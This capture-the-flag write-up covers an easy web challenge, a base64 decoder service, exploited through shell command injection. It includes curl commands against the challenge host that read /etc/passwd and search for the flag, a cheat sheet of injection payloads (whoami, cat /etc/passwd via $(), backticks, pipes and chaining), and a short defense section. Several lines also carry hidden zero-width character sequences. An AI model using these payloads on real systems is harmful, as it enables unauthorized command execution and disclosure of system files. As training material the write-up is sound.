B64Decoder

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Command Injection via $() substitution, Output encoding bypass via base64

Summary

Walkthrough of the CUSTOM Web B64Decoder. Task: Base64 decoder web service. Solution: Command injection via $() substitution, encoding output in base64 to bypass filtering.

Description

Я запустил небольшой онлайн-сервис по декодированию base64-строк. Проверь работоспособность.

URL: http://62.173.140.174:16100/

Analysis

Reconnaissance

1. Simple web service with a form for decoding base64
2. Server: Apache
3. Form sends POST request with base64 parameter

Vulnerability Discovery

During testing, the following was discovered:

1. Normal base64 (dGVzdA== = "test") — works correctly
2. Quotes (" or ') in parameter — textarea not displayed (error) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This is a classic sign of Command Injection — the service uses a shell command for decoding:

 bash read-only • copy allowed Copy
# Assumed command on server:
echo "$input" | base64 -d

Quotes break the shell command syntax, confirming the vulnerability.

Solution

Command Injection Exploitation

Using $() to execute arbitrary commands. Trick: encode command output in base64 so it gets correctly decoded by the service.

 bash read-only • copy allowed Copy
# Payload: $(cat /etc/passwd | base64)
# Server executes: echo "$(cat /etc/passwd | base64)" | base64 -d
# Result: contents of /etc/passwd in textarea

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

RCE Verification

 bash read-only • copy allowed Copy
curl -s -X POST http://62.173.140.174:16100/ \
  --data-urlencode 'base64=$(cat /etc/passwd | base64)'

Result: contents of /etc/passwd displayed in textarea.

Finding the Flag

 bash read-only • copy allowed Copy
curl -s -X POST http://62.173.140.174:16100/ \
  --data-urlencode 'base64=$(grep -r "CODEBY" /var/www/ 2>/dev/null | base64)'

Result:

/var/www/fl4g.txt:CODEBY{REDACTED}

Useful Payloads for Command Injection

 bash read-only • copy allowed Copy
# Via $() — command substitution
$(whoami)
$(cat /etc/passwd)
$(ls -la)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Via backticks
`whoami`
`cat /etc/passwd`

# Via ; — command chaining
; whoami
; cat /etc/passwd

# Via | — pipe
| whoami
| cat /etc/passwd

# Via && or ||
&& whoami
|| whoami

Defense

1. Never pass user input to shell commands
2. Use library functions instead of shell (e.g., base64_decode() in PHP)
3. If shell is necessary — use escapeshellarg() / escapeshellcmd()
4. Whitelist validation of input data ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering Command Injection via $() substitution, Output encoding bypass via base64 was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2025-12-19 • CUSTOM • B64Decoder • Difficulty: Easy